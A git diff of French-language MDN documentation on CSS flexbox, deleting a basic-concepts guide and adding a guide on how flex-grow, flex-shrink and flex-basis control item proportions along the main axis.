Si on souhaite échanger la position de l'image dans l'objet média pour l'afficher à droite avec le contenu textuel à gauche, on pourra utiliser la propriété flex-direction avec la valeur row-reverse. L'objet média est désormais affiché dans l'autre sens. Dans l'exemple, cela s'obtient grâce à l'ajout de la classe flipped (en plus de la classe existante .media). Vous pouvez donc annuler cet effet en retirant la classe dans le code HTML.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media-flipped.html", '100%', 650)}}

- -

Les contrôles de formulaire

- -

Les boîtes flexibles s'avèrent particulièrement utiles losqu'on met en forme des contrôles de formulaires. Les formulaires sont généralement constitués de nombreux éléments qu'on souhaite aligner les uns avec les autres. Un motif fréquent se compose d'un élément {{htmlelement("input")}} associé à un élément  {{htmlelement("button")}} (par exemple un formulaire de recherche ou un champ où on souhaite qu'un visiteur saisisse une adresse électronique).

- -

Les boîtes flexibles facilitent la construction de tels motifs. Dans l'exemple suivant, on enveloppe l'élément <button> et l'élément <input> dans un conteneur auquel on ajoute une bordure et pour lequel on a display: flex. On utilise ensuite les propriétés flexibles afin de permettre à l'élément <input> de grandir et de conserver la même taille pour le bouton. On a donc une paire d'éléments pour laquelle la zone de saisie s'ajuste en fonction de l'espace disponible.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/input-button.html", '100%', 550)}}

- -

On pourrait ajouter un libellé ou une icône à gauche aussi facilement qu'on a ajouté un bouton à droite. Dans la version suivante, on ajoute un libellé et d'autres règles de mise en forme pour l'arrière-plan. Il n'est pas nécessaire de modifier le reste de la disposition. Le champ de saisie adaptable possède désormais moins d'espace mais continue à consommer l'espace disponible après le placement des deux autres objets.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/label-input-button.html", '100%', 550)}}

- -

De tels motifs facilitent la création d'une bibliothèque d'éléments de formulaires pour les différents documents d'un projet. On tire parti de la flexibilité des boîtes flexibles en mélangeant les éléments qui peuvent s'étendre et ceux qui restent à une taille constante.

- -

Conclusion

- -

En explorant les motifs de ce guide, nous avons vu certaines des meilleures façons d'utiliser les boîtes flexibles pour obtenir le résultat souhaité. La plupart du temps, plusieurs choix s'offrent à nous. Mélanger des éléments qui peuvent s'étirer avec d'autres qui ne le peuvent pas, utiliser la taille du contenu comme point de départ ou encore permettre aux boîtes flexibles de gérer tout l'espace.

- -

Pensez à la meilleure façon de présenter le contenu dont vous disposez puis voyez comment les boîtes flexibles ou les autres méthodes de disposition peuvent vous aider à obtenir cette présentation.

diff --git a/files/fr/web/css/css_flexible_box_layout/concepts_de_base_flexbox/index.html b/files/fr/web/css/css_flexible_box_layout/concepts_de_base_flexbox/index.html deleted file mode 100644 index dadea30a48..0000000000 --- a/files/fr/web/css/css_flexible_box_layout/concepts_de_base_flexbox/index.html +++ /dev/null @@ -1,235 +0,0 @@ ---- -title: Les concepts de base pour flexbox -slug: Web/CSS/CSS_Flexible_Box_Layout/Concepts_de_base_flexbox -tags: - - Beginner - - CSS - - Débutant - - Guide - - flexbox -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox ---- -
{{CSSRef}}
- -

Le module des boîtes flexibles, aussi appelé « flexbox », a été conçu comme un modèle de disposition unidimensionnel et comme une méthode permettant de distribuer l'espace entre des objets d'une interface ainsi que de les aligner. Dans cet article, nous verrons les fonctionnalités principales des flexbox que nous approfondirons ensuite dans d'autres articles.

- -

Lorsqu'on décrit les boîtes flexibles comme une méthode de disposition unidimensionnelle, on indique en fait que les flexbox gèrent une seule dimension à la fois : une ligne ou une colonne. Ce modèle est à comparer au modèle bidimensionnel de la disposition en grille (CSS Grid) qui contrôle à la fois les colonnes et les lignes.

- -

Les deux axes des boîtes flexibles

- -

Lorsqu'on travaille avec les boîtes flexibles, deux axes interviennent : l'axe principal (main axis en anglais) et l'axe secondaire (cross axis en anglais). L'axe principal est défini par la propriété {{cssxref("flex-direction")}} et l'axe secondaire est l'axe qui lui est perpendiculaire. Tout ce que nous manipulons avec les boîtes flexibles fera référence à ces axes.

- -

L'axe principal

- -

L'axe principal est défini par la propriété flex-direction qui peut prendre quatre valeurs :

- -
    -
  • row
    • -
  • row-reverse
    • -
  • column
    • -
  • column-reverse
    • -
- -

Si on choisit la valeur row ou row-reverse, l'axe principal sera aligné avec la direction « en ligne » (inline direction) (c'est la direction logique qui suit le sens d'écriture du document).

- -

If flex-direction is set to row the main axis runs along the row in the inline direction.

- -

Si on choisit la valeur column ou column-reverse, l'axe principal suivra la direction de bloc (block direction) et progressera le long de l'axe perpendiculaire au sens d'écriture.

- -

If flex-direction is set to column the main axis runs in the block direction.

- -

L'axe secondaire (cross axis)

- -

L'axe secondaire est perpendiculaire à l'axe principal. Ainsi, si flex-direction vaut row ou row-reverse, l'axe secondaire suivra l'axe des colonnes.

- -

If flex-direction is set to row then the cross axis runs in the block direction.

- -

Si l'axe principale est column ou column-reverse, l'axe secondaire suivra celui des lignes (horizontales).

- -

If flex-direction is set to column then the cross axis runs in the inline direction.

- -

Comprendre les liens entre les différents axes est crucial lorsqu'on commence à aligner/justifier des éléments flexibles sur un axe ou l'autre grâce aux fonctionnalités et propriétés des boîtes flexibles.

- -

Les lignes de début et de fin

- -

Une autre notion fondamentale est l'absence d'hypothèse sur le mode d'écriture du document. Pour les modèles de disposition précédents, CSS était fortement orienté vers les modes d'écritures de droite à gauche et de gauche à droite. Les modèles de disposition modernes permettent de gérer naturellement les différents modes d'écriture et ne reposent plus sur l'idée qu'une ligne de texte commencera en haut à gauche d'un document puis progressera vers la droite et que chaque nouvelle ligne apparaîtra sous la précédente.

- -

Nous verrons plus tard les détails des relations entre les spécifications des boîtes flexibles et celles des modes d'écriture. Toutefois, décrivons ici pourquoi on ne parlera plus de gauche ou de droite et de bas ou de haut lorsque nous évoquerons la direction dans laquelle s'organisent les éléments flexibles.

- -

Si flex-direction vaut row et que nous travaillons sur un document écrit en français, la ligne de début de l'axe principal sera située à gauche et la ligne de fin sera située à droite.

- -

Working in English the start edge is on the left.

- -

Si on travaille sur un document écrit dans une langue arabe, la ligne de début de l'axe principal sera à droite et la ligne de fin à gauche.

- -

The start edge in a RTL language is on the right.

- -

Dans les deux cas, la ligne de début de l'axe secondaire est située en haut et la ligne de fin de cet axe est située en bas car ces deux langues sont écrites horizontalement.

- -

Nous verrons qu'au fur et à mesure, il devient naturel de parler de début et de fin plutôt que de gauche et de droite. De plus, ce niveau d'abstraction sera utile pour comprendre d'autres méthodes de disposition comme les grilles CSS car il y est également utilisé.

- -

Le conteneur flexible

- -

La zone d'un document sujette au modèle de disposition flexbox est appelée un conteneur flexible. Pour créer un conteneur flexible, il faut que la valeur de la propriété {{cssxref("display")}} de cet élément soit flex ou inline-flex. Dès que c'est le cas, les éléments « enfants » directs deviennent des éléments flexibles (flex items). Comme pour les autres propriétés CSS, certaines valeurs initiales sont définies, aussi, lorsqu'on crée un conteneur flexible, tous les éléments flexibles se comporteront de la façon suivante :

- -
    -
  • Les éléments s'afficheront en lignes horizontales (la valeur par défaut de la propriété flex-direction est row).
    • -
  • Les éléments seront placés à partir de la ligne de début de l'axe principal.
    • -
  • Les éléments ne s'étireront pas le long de l'axe principal mais pourront se rétrécir si nécessaire.
    • -
  • Les éléments seront étirés le long de l'axe secondaire afin d'occuper l'espace sur cet axe.
    • -
  • La propriété {{cssxref("flex-basis")}} vaut auto.
    • -
  • La propriété {{cssxref("flex-wrap")}} vaut nowrap.
    • -
- -

Autrement dit, tous les éléments formeront une ligne en utilisant la taille de leur contenu. S'il y a plus d'éléments que le conteneur peut en contenir, ils ne formeront pas une nouvelle ligne mais dépasseront du conteneur. Si certains éléments sont plus grands (selon l'axe secondaire) que d'autres, tous les éléments s'étireront sur l'axe secondaire afin d'avoir la plus grande taille.

- -

Vous pouvez étudier l'exemple qui suit pour voir le résultat obtenu. N'hésitez pa à éditer les éléments ou à en ajouter d'autres pour tester ce comportement initial.

- -

{{EmbedGHLiveSample("css-examples/flexbox/basics/the-flex-container.html", '100%', 510)}} 

- -

Modifier flex-direction

- -

En ajoutant la propriété {{cssxref("flex-direction")}} au conteneur flexible, on peut modifier la direction dans laquelle les éléments flexibles seront affichés. En utilisant flex-direction: row-reverse, les éléments seront affichés le long d'une ligne horizontale mais les lignes de début et de fin seront inversées.

- -

Si on utilise column comme valeur de flex-direction, l'axe principal est modifié et les éléments sont affichés sur une colonne. Si on utilise column-reverse, les lignes de début et de fin seront également inversées.

- -

Dans l'exemple suivant, on utilise flex-direction avec la valeur row-reverse. Vous pouvez utiliser d'autres valeurs — row, column et column-reverse — afin de voir le résultat produit.

- -

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-direction.html", '100%', 350)}}

- -

Créer un conteneur flexible sur plusieurs lignes avec flex-wrap

- -

Bien que le modèle des boîtes flexibles soit organisé sur une dimension, il est possible d'organiser les éléments flexibles afin que ceux-ci s'étendent sur plusieurs lignes ou colonnes (plutôt que de dépasser). Lorsque c'est le cas, chaque nouvelle ligne ou colonne agit comme un nouveau conteneur flexible. La distribution de l'espace sur cette ligne/colonne ne tiendra pas compte des autres lignes/colonnes.

- -

Pour obtenir ce « passage à la ligne », on ajoute la propriété {{cssxref("flex-wrap")}} avec la valeur wrap. Désormais, si les éléments sont trop grands pour tenir sur une seule ligne, ils passeront sur une autre ligne. L'exemple suivant illustre le résultat obtenu lorsque la somme des tailles des éléments dépasse celle du conteneur. Avec flex-wrap qui vaut wrap, les éléments passent à la ligne. Si on modifie la valeur avec nowrap (qui correspond à la valeur initiale), les éléments seront rétrécis pour tenir sur une ligne (car les valeurs initiales des boîtes flexibles permettent aux éléments d'être ainsi redimensionnés). Si on utilise nowrap et que les éléments ne peuvent pas être redimensionnés (ou pas suffisamment), cela causera un dépassement.

- -

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-wrap.html", '100%', 400)}}

- -

Pour approfondir ces notions, vous pouvez consulter l'article Maîtriser le passage à la ligne des éléments flexibles.

- -

La propriété raccourcie flex-flow

- -

Il est possible de synthétiser les propriétés flex-direction et flex-wrap avec la propriété raccourcie {{cssxref("flex-flow")}}. La première valeur de cette propriété sera utilisée pour flex-direction et la seconde pour flex-wrap.

- -

Dans l'exemple qui suit, vous pouvez changer les valeurs de flex-direction en utilisant row, row-reverse, column ou column-reverse pour la première et wrap ou nowrap pour la seconde.

- -

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-flow.html", '100%', 400)}}

- -

Les propriétés appliquées aux éléments flexibles

- -

Pour mieux contrôler les éléments flexibles, on peut les cibler directement avec trois propriétés :

- -
    -
  • {{cssxref("flex-grow")}}
    • -
  • {{cssxref("flex-shrink")}}
    • -
  • {{cssxref("flex-basis")}}
    • -
- -

Nous verrons ici un rapide aperçu de ces propriétés que nous approfondirons dans l'article Contrôler les proportions des éléments flexibles le long de l'axe principal.

- -

Avant de revenir à ces propriétés, il nous faut définir le concept d'espace disponible. Lorsque nous modifierons l'une de ces propriétés, cela modifiera la façon dont l'espace disponible est distribué parmi les éléments. Ce concept est également important lorsqu'on aligne les éléments.

- -

Prenons un conteneur de 500 pixels de large et qui contient trois éléments de 100 pixels de large. Il faut donc 300 pixels pour disposer ces éléments et il reste ainsi 200 pixels d'espace disponible. Si on ne modifie pas les valeurs initiales, l'espace disponible sera placé après le dernier élément.

- -

This flex container has available space after laying out the items.

- -

Si on préfère que les éléments s'étirent pour occuper l'espace restant, il nous faut une méthode pour distribuer cet espace parmi les éléments. C'est le rôle des propriétés flex- qui s'appliquent aux éléments.

- -

La propriété flex-basis

- -

La propriété flex-basis définit la taille de l'élément en termes d'espace occupé. La valeur initiale de cette propriété est auto — dans ce cas, le navigateur analyse si les éléments ont une taille. Dans l'exemple précédent, les éléments mesurent 100 pixels de large et c'est donc cette mesure qui est utilisée pour flex-basis.

- -

Si les éléments n'ont pas de taille définie, c'est la taille du contenu qui est utilisée comme base. C'est pour ça que nous avons simplement déclaré display: flex sur l'élément parent afin de créer des éléments flexibles (qui prennent alors tout l'espace nécessaire à leur contenu).

- -

La propriété flex-grow

- -

La propriété flex-grow est un entier positif qui, lorsqu'elle est définie, permet aux éléments flexibles de s'étendre à partir de la mesure de flex-basis. Ainsi, l'élément sera étiré et occupera l'espace disponible sur cet axe ou une part de cet espace si les autres éléments peuvent s'étendre également.

- -

Si on utiliseflex-grow: 1 pour les différents éléments de l'exemple précédent, l'espace disponible sera alors partagé de façon égale entre les éléments qui seront alors étirés pour occuper l'ensemble du conteneur le long de l'axe principal.

- -

La propriété flex-grow permet de répartir l'espace disponible en « parts ». Si, pour le premier élément, on indique flex-grow avec une valeur de 2 et, pour les autres éléments, flex-grow avec une valeur de 1, deux « parts » de l'espace disponible seront données au premier élément (il recevra donc 100 pixels parmi les 200 pixels restants) et une part sera fournie à chacun des autres éléments (soit 50 pixels chacun parmi les 200 pixels restants).

- -

La propriété flex-shrink

- -

La propriété flex-grow permet de gérer la façon dont l'espace est ajouté sur l'axe principal. La propriété flex-shrink permet quant à elle de contrôler la façon dont l'espace est réduit. S'il n'y a pas suffisamment d'espace dans le conteneur pour disposer les éléments et que flex-shrink est un entier positif, l'élément peut alors devenir plus petit que la taille définie par flex-basis. De façon analogue à flex-grow, il est possible d'affecter différents coefficients aux différents éléments afin que ceux-ci rétrécissent plus fortement que d'autres. Plus la valeur de flex-shrink sera élevée, plus l'élément ciblé rétrécira (si les éléments voisins ont une valeur de flex-shrink plus faibles).

- -

La taille minimale de l'élément sera prise en compte lors du rétrécissement. Cela signifie que flex-shrink peut être moins cohérent que flex-grow selon les cas aux limites. Nous verrons plus en détails comment cet algorithme fonctionne dans l'article Contrôler les proportions des éléments le long de l'axe principal.

- -
-

Note : Les valeurs de flex-grow et flex-shrink sont des proportions. Autrement dit, si tous les éléments ont flex: 1 1 200px et qu'on souhaite qu'un d'eux grandissent deux fois plus, on utiliserait flex: 2 1 200px pour cet élément. Mais avoir flex: 10 1 200px d'une part et flex: 20 1 200px d'autre part fonctionnerait exactement de la même façon.

-
- -

La propriété raccourcie flex et les valeurs synthétiques

- -

On voit rarement flex-grow, flex-shrink et flex-basis utilisées individuellement mais plutôt combinées avec la propriété raccourcie {{cssxref("flex")}}. La propriété raccourcie flex permet de définir les valeurs de cette propriété dans cet ordre : flex-grow, flex-shrink, flex-basis.

- -

L'exemple suit vous permet de tester différentes valeurs pour flex. La première valeur est flex-grow et un coefficient positif permettra à l'élément de grandir, la deuxième valeur est flex-shrink et un coefficient positif permettra de rétrécir l'élément s'il dépasse du conteneur sur l'axe principal. Enfin, la troisième valeur sert à flex-basis qui indique la taille de base à partir de laquelle l'élément sera étendu ou rétréci.

- -

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-properties.html", '100%', 400)}}

- -

Cette propriété permet également d'utiliser des valeurs synthétiques qui couvrent la majorité des scénarios. Vous verrez souvent ces valeurs utilisées dans les tutoriels et, dans de nombreux cas, celles-ci suffiront :

- -
    -
  • flex: initial
    • -
  • flex: auto
    • -
  • flex: none
    • -
  • flex: <nombre-positif>
    • -
- -

Avec flex: initial, les éléments récupèrent les valeurs initiales pour les différentes propriétés du modèle de boîte flexible. Cette valeur permettra d'obtenir le même comportement que flex: 0 1 auto. Ici, flex-grow vaut 0 et les éléments ne s'agrandiront pas au-delà de la taille flex-basis. flex-shrink vaut 1 et les éléments pourront rétrécir si besoin plutôt que de dépasser du conteneur. flex-basis vaut auto et les éléments utiliseront donc la taille qui leur a été définie sur l'axe principale ou la taille déterminée à partir du contenu.

- -

Avec flex: auto, on obtient le même comportement que flex: 1 1 auto, la seule différence avec flex:initial est que les éléments peuvent s'étirer si besoin.

- -

Avec flex: none, les éléments ne seront pas flexibles. Cette valeur est synonyme de flex: 0 0 auto. Les éléments ne peuvent ni s'agrandir, ni se rétrécir mais seront disposés avec flex-basis: auto.

- -

On voit aussi souvent des valeurs comme flex: 1 ou flex: 2, etc. Cela correspond à flex: 1 1 0. Les éléments peuvent s'agrandir ou bien rétrécir à partir d'une taille de base égale à 0.

- -

Vous pouvez utiliser ces valeurs synthétiques dans l'exemple suivant :

- -

{{EmbedGHLiveSample("css-examples/flexbox/basics/flex-shorthands.html", '100%', 510)}}

- -

Alignement, justification et distribution de l'espace disponible entre les éléments

- -

Une fonctionnalité majeure des boîtes flexibles est de permettre l'alignement et la justification des éléments le long des axes principal et secondaire tout en distribuant l'espace entre les éléments flexibles.

- -

align-items

- -

La propriété {{cssxref("align-items")}} permet d'aligner les éléments le long de l'axe secondaire.

- -

La valeur initiale de cette propriété est stretch, ce qui explique pourquoi, par défaut, les éléments flexibles sont étirés sur l'axe perpendiculaire afin d'avoir la même taille que l'élément le plus grand dans cet axe (qui définit la taille du conteneur sur cet axe).

- -

On peut également utiliser la valeur flex-start afin que les éléments soient alignés sur la ligne de début de l'axe secondaire, la valeur flex-end afin que les éléments soient alignés sur la ligne de fin de l'axe secondaire ou bien center pour les aligner au centre. Vous pouvez utiliser les valeurs suivantes dans l'exemple (on a donné un hauteur fixe au conteneur afin de pouvoir observer la façon dont les éléments se déplacent à l'intérieur) :

- -
    -
  • stretch
    • -
  • flex-start
    • -
  • flex-end
    • -
  • center
    • -
- -

{{EmbedGHLiveSample("css-examples/flexbox/basics/align-items.html", '100%', 520)}}

- -

justify-content

- -

La propriété {{cssxref("justify-content")}} est utilisée afin d'aligner les éléments le long de l'axe principal dans la direction définie par flex-direction. La valeur initiale est flex-start qui place les éléments à partir de la ligne de début du conteneur sur l'axe principal. La valeur flex-end permet de les placer vers la fin et la valeur center permet de les centrer le long de l'axe principal.

- -

On peut également utiliser la valeur space-between afin de répartir l'espace disponible de façon égale entre chaque élément. Si on souhaite que l'espace soit également réparti autour des éléments, y compris au début et à la fin, on pourra utiliser la valeur space-around (il y aura alors un demi espace à la fin et au début). Si on souhaite que l'espace soit également réparti et qu'il y ait un espace entier au début et à la fin, on utilisera la valeur space-evenly.

- -

Vous pouvez essayer les valeurs suivantes dans l'exemple suivant :

- -
    -
  • flex-start
    • -
  • flex-end
    • -
  • center
    • -
  • space-around
    • -
  • space-between
    • -
  • space-evenly
    • -
- -

{{EmbedGHLiveSample("css-examples/flexbox/basics/justify-content.html", '100%', 380)}}

- -

Dans l'article Aligner des éléments dans un conteneur flexible, nous verrons plus en détails comment ces propriétés fonctionnent. Ces premiers exemples permettent toutefois de comprendre comment utiliser ces propriétés sur une majorité de cas.

- -

Prochaines étapes

- -

Avec cet article, vous devriez comprendre les différentes fonctionnalités et concepts relatifs aux flexbox. Dans le prochain article, nous verrons comment cette spécification s'articule avec les autres modules CSS.

diff --git a/files/fr/web/css/css_flexible_box_layout/controlling_ratios_of_flex_items_along_the_main_ax/index.html b/files/fr/web/css/css_flexible_box_layout/controlling_ratios_of_flex_items_along_the_main_ax/index.html new file mode 100644 index 0000000000..a05bdb1ca2 --- /dev/null +++ b/files/fr/web/css/css_flexible_box_layout/controlling_ratios_of_flex_items_along_the_main_ax/index.html @@ -0,0 +1,200 @@ +--- +title: Contrôler les proportions des boîtes flexibles le long de l'axe principal +slug: >- + Web/CSS/CSS_Flexible_Box_Layout/Contrôler_les_proportions_des_boîtes_flexibles_le_long_de_l_axe_principal +tags: + - Boîtes flexibles + - CSS + - Flex + - Guide + - Intermediate + - flexbox +translation_of: >- + Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax +--- +
{{CSSRef}}
+ +

Dans ce guide, nous verrons les trois propriétés appliquées aux éléments flexibles qui permettent de contrôler leurs tailles et flexibilités le long de l'axe principal : {{cssxref("flex-grow")}}, {{cssxref("flex-shrink")}} et {{cssxref("flex-basis")}}. Comprendre le fonctionnement de ces propriétés est primordial pour maîtriser les boîtes flexibles.

+ +

Un premier aperçu

+ +

Ces trois propriétés contrôlent différents aspects relatifs à la flexibilité des éléments :

+ +
    +
  • flex-grow : quelle proportion de l'espace libre peut-on allouer en supplément à cet élément ?
    • +
  • flex-shrink : quelle proportion de l'espace peut être retirée à cet élément ?
    • +
  • flex-basis : quelle est la taille de l'élément avant tout agrandissement/réduction ?
    • +
+ +

Ces propriétés sont généralement définies via la propriété raccourcie {{cssxref("flex")}}. Le code suivant définira flex-grow avec la valeur 2, flex-shrink avec la valeur 1 et flex-basis avec la valeur auto.

+ +
.item {
+  flex: 2 1 auto;
+}
+
+ +

Dans l'article sur les concepts de base relatifs aux boîtes flexibles, nous avons pu introduire ces propriétés. Ici, nous les étudierons en profondeur afin de comprendre comment le navigateur les interprète.

+ +

Les concepts majeurs relatifs à l'axe principal

+ +

Avant de rentrer dans le détail des propriétés, définissons certains concepts clés qui interviennent lorsqu'on travaille sur les proportions le long de l'axe principal. Ces concepts se basent sur la taille naturelle des éléments flexibles (avant tout redimensionnement) et sur la notion d'espace libre.

+ +

Le dimensionnement des objets flexibles

+ +

Afin de connaître l'espace disponible pour l'organisation des éléments flexibles, le navigateur doit connaître la taille de l'élément. Comment faire lorsque les éléments ne sont pas dimensionnés avec une largeur ou une hauteur exprimée dans une unité de longueur absolue ?

+ +

CSS permet d'utiliser les valeurs {{cssxref('width','min-content','#min-content')}} et  {{cssxref('width','max-content','#max-content')}} — ces mots-clés sont définis dans la spécification CSS pour le dimensionnement intrinsèque et extrinsèque et ces valeurs peuvent être utilisées comme unité de longueurs.

+ +

Dans l'exemple qui suit, on a deux paragraphes qui contiennent chacun une chaîne de caractères. La largeur du premier paragraphe est min-content. Si le navigateur utilisé prend en charge ce mot-clé, on peut voir que le texte passe à la ligne dès que c'est possible, sans dépasser de la boîte. Autrement dit, la longueur min-content correspond à la taille du plus grand mot du paragraphe.

+ +

Dans le second paragraphe, on utilise la valeur max-content et on voit le résultat opposé. Le texte prend autant de place que possible et aucun saut à la ligne supplémentaire n'est introduit. Le texte dépasserait de la boîte si le conteneur était trop étroit.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/ratios/min-max-content.html", '100%', 750)}}

+ +

Si votre navigateur ne prend pas en charge ces mots-clés, les paragraphes seront affichés normalement. La capture d'écran qui suit illustre le résultat obtenu avec un navigateur compatible :

+ +

Le premier paragraphe est aussi large que le plus long mot qu'il contient alors que le second est étendu sur une seule ligne et dépasse.

+ +

Pour la suite de cet article, gardez à l'esprit l'impact de min-content et max-content lorsque nous verrons les propriétés flex-grow et flex-shrink.

+ +

Espace libre positif et négatif

+ +

Pour étudier ces propriétés, nous devons définir le concept d'espace libre positif et négatif. Lorsqu'un conteneur flexible possède un espace libre positif, il dispose de plus d'espace qu'il n'est nécessaire pour afficher les éléments flexibles qu'il contient. Si on a, par exemple, un conteneur dont la largeur mesure 500 pixels, la propriété {{cssxref("flex-direction")}} qui vaut row et trois éléments qui mesurent chacun 100 pixels, il reste alors 200 pixels d'espace libre positif qui pourrait être réparti entre les éléments si on le souhaitait.

+ +

Une image illustrant l'espace restant après que les éléments aient été affichés.

+ +

L'espace libre négatif est l'espace supplémentaire qui aurait été nécessaire pour contenir tous les éléments à l'intérieur du conteneur flexible. Si on dispose d'un conteneur dont la largeur mesure 500 pixels et trois éléments flexibles dont chacun mesure 200, l'espace total occupé mesure 600 pixels et on a donc 100 pixels d'espace libre négatif. Cet espace pourrait être retiré des éléments afin qu'ils soient contenus dans le conteneur.

+ +

Les objets dépassent du conteneur.

+ +

C'est cette distribution de l'espace libre qu'il est nécessaire de comprendre afin d'étudier les différentes propriétés relatives aux propriétés flexibles.

+ +

Les exemples étudiés par la suite utilisent la propriété {{cssxref("flex-direction")}} avec la valeur row, ce sera donc leur largeur qui sera leur dimension principale. Vous pouvez modifier les exemples afin d'utiliser flex-direction: column (dans ce cas, l'axe principal sera celui des colonnes et la dimension principale sera la hauteur).

+ +

La propriété flex-basis

+ +

La propriété {{cssxref("flex-basis")}} définit la taille initiale de l'élément flexible avant la répartition de l'espace. La valeur initiale de cette propriété est auto. Si  flex-basis vaut auto, le navigateur vérifie si la taille de l'élément est définie de façon absolue et utilise cette valeur pour flex-basis (par exemple si on indique dans la feuille de style que l'élément mesure 200 pixels, c'est cette mesure qui sera utilisée comme valeur pour flex-basis pour cet élément).

+ +

Si la taille initiale de l'élément n'est pas définie de façon absolue, auto correspondra à la taille déterminée automatique. C'est là qu'on comprend mieux l'utilité de min- et max-content, car la boîte flexible utilisera max-content comme valeur pour flex-basis. Dans l'exemple suivant, nous verrons comment en tirer parti.

+ +

Dans cet exemple, on crée un ensemble de boîtes inflexibles avec la valeur 0 pour flex-grow et flex-shrink. On peut voir comment le premier objet, ayant une largeur explicite de 150 pixels, occupe une flex-basis de 150px tandis que les deux autres objets qui n'ont pas de largeur sont dimensionnés en fonction de la largeur de leur contenu.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-basis.html", '100%', 500)}}

+ +

En plus du mot-clé auto, on peut également utiliser le mot-clé content comme valeur pour flex-basis. Ainsi, flex-basis sera calculée en fonction de la taille du contenu, même s'il y a une largeur explicitement définie sur l'objet. Ce mot-clé est plus récent et est moins largement pris en charge. Toutefois, on peut obtenir le même effet en utilisant le mot-clé auto et en s'assurant que l'objet n'a pas de largeur définie, ainsi, le dimensionnement automatique sera effectué en fonction du contenu.

+ +

Si on souhaite que la boîte flexible ignore complètement la taille du contenu lors de la répartition de l'espace, on pourra utiliser flex-basis avec la valeur 0. En résumé, cela revient à indiquer que tout l'espace est disponible et peut être réparti proportionnellement. Nous verrons des exemples utilisant cette valeur lorsque nous étudierons flex-grow.

+ +

La propriété flex-grow

+ +

La propriété {{cssxref("flex-grow")}} définit le coefficient d'agrandissement flexible, qui détermine la façon dont l'objet flexible grandira par rapport aux autres objets flexibles du même conteneur lorsque l'espace libre sera distribué.

+ +

Si tous les objets possèdent la même valeur pour le coefficient flex-grow, l'espace sera réparti également entre chacun. Dans ce cas, on utilisera généralement la valeur 1. Ceci étant dit, on pourrait tout aussi bien utiliser la valeur 88, 100 ou 1.2 — ce coefficient est un simple ratio. Si le coefficient est le même pour tous les objets et qu'il reste de l'espace libre dans le conteneur, cet espace sera réparti équitablement.

+ +

Combiner flex-grow et flex-basis

+ +

Les choses se compliquent lorsque flex-grow et flex-basis interagissent. Prenons un exemple où trois objets flexibles ont chacun des contenus de longueurs différentes et auxquels on applique la règle suivante :

+ +

flex: 1 1 auto;

+ +

Dans ce cas, flex-basis vaut auto et les objets n'ont pas de largeur explicite définie : ils sont donc dimensionnés automatiquement. Cela signifie que la boîte flexible utilisera la taille max-content des éléments. Après avoir disposé les objets, il reste de l'espace libre dans le conteneur flexible (ce qui correspond à la zone hachurée de la figure suivante) :

+ +

Une image illustrant l'espace libre positif avec une zone hachurée.

+ +

On utilise ici une valeur flex-basis égale à la taille du contenu, l'espace disponible qui peut être distribué est donc égal à la taille du conteneur (ici sa largeur) moins la taille des éléments. Cet espace est partagé équitablement entre les différents objets. Ainsi, l'objet le plus grand finira avec une taille plus grande, car sa taille de départ est plus importante bien que la même quantité d'espace restant ait été affectée aux autres objets :

+ +

L'espace positif est réparti entre les éléments.

+ +

Si on souhaite obtenir trois objets de la même taille alors qu'ils ont des tailles initiales différentes, on pourra utiliser :

+ +

flex: 1 1 0;

+ +

Ici, on indique que, lors de la phase de répartition de l'espace, la taille des objets vaut 0 — tout l'espace peut être utilisé. Or, les trois objets ayant tous le même coefficient flex-grow, ils récupèrent chacun la même quantité d'espace. On obtient donc trois objets flexibles de même largeur.

+ +

Vous pouvez modifier le coefficient flex-grow pour le passer de 1 à 0 dans l'exemple qui suit pour observer la façon dont les objets se comportent :

+ +

{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-grow.html", '100%', 520)}}

+ +

Affecter différents coefficients flex-grow aux éléments

+ +

Notre compréhension du fonctionnement de flex-grow avec flex-basis nous permet de mieux contrôler chacun des éléments en leur affectant différents coefficients flex-grow. Si on conserve la valeur 0 pour flex-basis afin que tout l'espace soit distribué, on pourra affecter différentes valeurs de flex-grow afin qu'ils grandissent différemment. Dans l'exemple qui suit, on utilise les valeurs suivantes :

+ +
    +
  • 1 pour le premier élément
    • +
  • 1 pour le deuxième élément
    • +
  • 2 pour le troisième
    • +
+ +

On utilise flex-basis avec la valeur 0 ce qui signifie que l'espace disponible est réparti de la façon suivante. On additionne les différents facteurs flex-grow puis on divise l'espace libre du conteneur par cette somme (dans notre exemple, elle vaut 4). Ensuite, on répartit l'espace en fonction des différents coefficients individuels : le premier objet récupère une part d'espace, le deuxième en récupère également une et le dernier récupère deux parts. Autrement dit, le troisième objet sera deux fois plus grand que le premier et le deuxième objet.

+ +

{{EmbedGHLiveSample("css-examples/flexbox/ratios/flex-grow-ratios.html", '100%', 520)}}

+ +

Rappelons qu'on peut utiliser n'importe quelle valeur positive pour ces facteurs. C'est le rapport entre ces différents facteurs qui importe. Vous pouvez aussi bien utiliser des nombres entiers ou des nombres décimaux. Pour tester cela, vous pouvez changer les coefficients précédents afin de plutôt utiliser respectivement .25, .25 et .50 — vous obtiendrez alors le même résultat.

+ +

La propriété flex-shrink

+ +

La propriété {{cssxref("flex-shrink")}} définit le coefficient de rétrécissement flexible qui détermine la façon dont l'objet flexible se réduit relatviement aux autres objets du conteneur flexible lorsque l'espace négatif est distribué.

+ +

Cette propriété est utilisée lorsque le navigateur calcule les valeurs flex-basis des différents objets flexibles et obtient des valeurs qui dépassent la taille du conteneur flexible. Tant que flex-shrink possède une valeur positive, les éléments pourront rétrécir afin de ne pas dépasser du conteneur.

+ +

Ainsi, si flex-grow gère la façon dont on peut ajouter de l'espace disponible, flex-shrink gère la façon dont on retire de l'espace aux boîtes des objets afin qu'ils ne dépassent pas de leur conteneur.

+ +

